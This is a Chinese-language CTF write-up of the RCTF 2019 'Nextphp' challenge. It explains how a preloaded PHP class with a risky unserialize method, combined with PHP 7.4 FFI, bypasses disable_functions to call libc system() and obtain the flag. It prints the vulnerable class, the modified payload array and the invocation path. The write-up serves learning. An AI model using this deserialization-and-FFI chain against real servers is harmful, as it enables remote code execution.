0%

[RCTF 2019]Nextphp

[RCTF 2019]Nextphp

全新的知识,PHP7.4中的全新玩法
上来直接给一个shell,直接执行phpinfo看一眼,open_basedir写上了,disable_function超级过滤,把平常用的mail和unsetenv都给禁了,常用的bypass_disable_function via RD_PRELOAD都不能用了,得寻找新的突破口

可以先var_dump(scandir(‘.’));看一眼有没有其他的可利用文件,发现一个preload.php,里面写了一个类

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

说实话我是没看懂这个类能怎么利用的,虽然我印象中析构函数会将工作目录切换到根目录,但是这里显然也没有析构函数,而尝试了一下用这个类的反序列化去执行命令,显然还是PHP函数,无法绕过disable_function

PHP7.4的新特性

PHP7.4提出了几个新的特性,在这里就使用上了几个
第一个就是预加载,可以在php.ini中设置opcache.preload项,将指定文件在服务启动时加载到内存,并永久可用(我的理解就是约等于给每个文件开头加上了一句include),查看phpinfo中的opcache.preload项,发现果然将preload.php作为预加载项,可以在index.php中直接利用

第二个是提出了魔术方法__serialize和__unserialize来自定义对象的序列化与反序列化
不过以前也有__sleep()和__wakeup决定对象在序列化和反序列化时的行为,不知道这两个新的有什么区别

第三个则是FFI(Foreign Function Interface)外部函数接口,允许调用C代码,这样子是不是就跳出了PHP的限制,突破了disable_function?!
查phpinfo,FFI是enabled,可用,开始利用
使用方法大概为$ffi=FFI::cdef(“int system(char* command)”, “libc.so.6”),第一个参数为在C代码中的函数原型,第二个参数为指定的共享库,但在不指定第二个参数的情况下,会在默认路径下进行搜索,一般来说也能找到想要的函数
显然,这里的run()函数就可以将ret变为一个外部函数接口,我们再通过ret调用系统命令,完成RCE

这里还把构造函数写成了一个抛出错误,不过没影响,之间注释掉就可以了,由于成员变量是protected的,所以序列化出来的payload用url编码一下,不然之间复制不可见字符会变成空格用不了

把构造函数注释一下,然后把data改一下

    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char* command);'
    ];

反序列化得到payload,最后访问index.php?a=serialize(payload)->__get(‘ret’)->system(cmd);即可获取flag
不过这里system的执行返回值是int,拿不到回显,可以尝试curl外带,不过试了一下感觉靶机可能连不到外网,又懒得开小号开内网靶机,试了一下把flag从根目录直接写到当前目录下,访问一下,也可行

至今不知道那个序列化和反序列化的魔法方法有什么用(不过反序列化的时候应该调用了__unserialize这样子ret才被赋值为一个FFI了

看神仙WP的时候提到了既然能直接用FFI,为什么不用shell直接调用,还多走的一步反序列化,神仙在WP中也查了文档做了解释,ffi.enable=preload为其默认值,即启用了FFI,但只在命令行模式下和preload文件中可用,所以要用preload文件中的反序列化来完成利用,而将ffi.enable=true时,则可在任意页面使用

参考链接

神仙的WP
https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp